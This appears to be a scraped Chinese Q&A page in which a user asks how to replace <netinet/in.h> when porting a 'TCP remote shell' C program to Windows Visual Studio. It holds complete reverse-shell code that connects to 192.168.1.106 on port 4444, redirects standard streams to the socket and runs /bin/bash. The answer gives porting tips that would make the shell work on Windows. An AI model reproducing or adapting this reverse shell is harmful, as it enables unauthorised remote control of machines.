在Windows Visual Studio中实现<netinet/in.h>

Implement <netinet/in.h> in Windows Visual Studio

本文关键字:netinet in gt Windows lt Studio 实现 Visual      更新时间:2023-10-16

我目前正在做一个关于TCP远程shell的c ++项目。因此,我构建以下代码。当我在处理 Windows 时,我找到了以下所有"#include"的替代库和标头,除了<netinet/in.h>

感谢您的帮助!

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:Visual Studio 2019libunistd-masterunistdsyssocket.h>
#include <C:Visual Studio 2019libunistd-masterunistdunistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:DocumentsVisual Studio 2019libunistd-masterunistdarpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}

"">

不要尝试为从 Linux 到 Windows 的包含文件找到匹配项。相反,请尝试逐步编译代码并添加所需的包含文件。我可以在代码中看到的:

  1. 您可以使用<Ws2tcpip.h>包含文件内的inet_pton而不是inet_addr
  2. 而不是dub2在窗口中使用_dub2,而是在<io.h>内部 .
  3. 代替execve,请使用std::system